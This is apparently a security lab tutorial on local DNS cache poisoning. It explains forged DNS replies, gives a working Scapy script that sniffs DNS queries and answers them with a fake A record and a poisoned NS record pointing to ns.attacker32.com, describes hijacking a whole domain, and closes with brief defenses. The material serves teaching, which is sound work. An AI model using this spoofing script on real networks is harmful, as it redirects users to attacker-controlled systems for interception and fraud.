π§ͺ 06-05: Local DNS Cache Poisoning¶
π Definition¶
DNS cache poisoning is an attack where a malicious actor injects false DNS records into a DNS serverβs cache.
π As a result:
- Users are redirected to incorrect (attacker-controlled) IP addresses
- Even though they typed the correct domain name
π§ Basic Idea¶
Normal DNS Flow¶
User β DNS Query β DNS Server β Real IP β User
After Attack¶
User β DNS Query β Fake reply arrives first β Wrong IP cached β User redirected
π₯ The DNS server trusts the fake response and stores it in cache
β οΈ Key Concept¶
DNS commonly uses UDP (connectionless protocol)
π This means:
- No connection handshake
- Limited verification
- First valid response may be accepted
π₯ So the attacker tries to:
βSend a fake reply faster than the real DNS serverβ
π¦ Conceptual Packet Logic¶
A forged DNS response mimics a real one by matching key fields:
- Transaction ID β must match request
- Source/Destination IP β appears from DNS server
- Source port β usually 53
- Question section β copied from request
- Answer section β contains fake IP
- Authority section β may redirect domain control
π§Ύ Simplified Pseudocode¶
Observe DNS query
If domain matches target:
Extract domain name
Create fake IP header
Create fake UDP header
Create fake DNS answer record
Create fake authority record
Build DNS response matching request
Send fake response before real one
π» Code¶
from scapy.all import *
def spoof_dns(pkt):
# Step 1: Check if packet contains DNS query
if DNS in pkt and pkt[DNS].qd is not None:
qname = pkt[DNS].qd.qname.decode()
# Step 2: Target specific domain
if "www.example.com" in qname:
print("[*] Spoofing:", qname)
# -------------------------------
# Step 3: Fake IP header
# -------------------------------
IPpkt = IP(
dst=pkt[IP].src, # send back to victim
src=pkt[IP].dst # pretend to be DNS server
)
# -------------------------------
# Step 4: Fake UDP header
# -------------------------------
UDPpkt = UDP(
dport=pkt[UDP].sport, # victim port
sport=53 # DNS port
)
# -------------------------------
# Step 5: Fake Answer (IP)
# -------------------------------
Anssec = DNSRR(
rrname=pkt[DNS].qd.qname,
type='A',
rdata='1.2.3.4', # fake IP
ttl=259200
)
# -------------------------------
# Step 6: Authority Section (Poisoning)
# -------------------------------
NSsec = DNSRR(
rrname="example.com",
type='NS',
rdata='ns.attacker32.com',
ttl=259200
)
# -------------------------------
# Step 7: Build DNS Response
# -------------------------------
DNSpkt = DNS(
id=pkt[DNS].id, # must match request
qr=1, # response
aa=1, # authoritative
rd=0,
qd=pkt[DNS].qd,
qdcount=1,
ancount=1,
nscount=1,
an=Anssec,
ns=NSsec
)
# Step 8: Combine full packet
spoofpkt = IPpkt / UDPpkt / DNSpkt
# Step 9: Send fake response
send(spoofpkt, verbose=0)
Step 10: Sniff DNS traffic
sniff(
filter="udp port 53",
prn=spoof_dns,
store=0
)
π§© Step-by-Step Explanation¶
π’ Step 1: Observe DNS Query¶
The attacker detects a DNS request for a domain.
π’ Step 2: Extract Domain Name¶
Example: www.example.com
π’ Step 3: Target Specific Domain¶
Attack is usually limited to chosen domains.
π΅ Step 4: Forge IP Header¶
- Swap source and destination
- Pretend to be DNS server
π΅ Step 5: Forge UDP Header¶
- Source port = 53
- Destination port = victimβs port
π‘ Step 6: Create Fake Answer¶
Example: www.example.com β 1.2.3.4
π This is the malicious redirection
π΄ Step 7: Poison Authority Section¶
Example: example.com β ns.attacker32.com
π This is the powerful part
It tells the DNS server:
βTrust this attacker-controlled nameserverβ
π¦ Step 8: Build DNS Response¶
- Transaction ID must match
- Question must match
- Packet must look legitimate
π Step 9: Send Fake Reply¶
If fake response arrives first β it may be cached
π Step 10: Cache Gets Poisoned¶
Future requests use incorrect data
π― Final Intuition¶
| Component | Role in Attack |
|---|---|
| Question | What domain was requested |
| Answer | Provides fake IP |
| Authority | Redirects domain control |
| Transaction ID | Makes packet look valid |
| UDP | Makes spoofing easier |
π₯ What Happens After the Attack¶
The DNS server may cache:
- www.example.com β 1.2.3.4
- example.com β ns.attacker32.com
π Future queries are redirected to attacker-controlled systems
π How to Hijack the Entire Domain¶
π’ Basic Attack (A Record Only)¶
www.example.com β fake IP
π Only one domain is affected
π΄ Advanced Attack (Authority / NS Record)¶
example.com β ns.attacker32.com
π Now:
- www.example.com β attacker
- mail.example.com β attacker
- any subdomain β attacker
π₯ Entire domain is hijacked
π‘οΈ Defenses¶
To prevent DNS cache poisoning:
- DNSSEC β cryptographic verification
- Random transaction IDs
- Random source ports
- Short TTL values
- Secure DNS resolvers
β Key Takeaway¶
DNS cache poisoning works by sending a forged DNS response that appears legitimate.
- If accepted β it is cached
- If authority is poisoned β entire domain can be controlled
π₯ Authority section poisoning is far more powerful than simple IP spoofing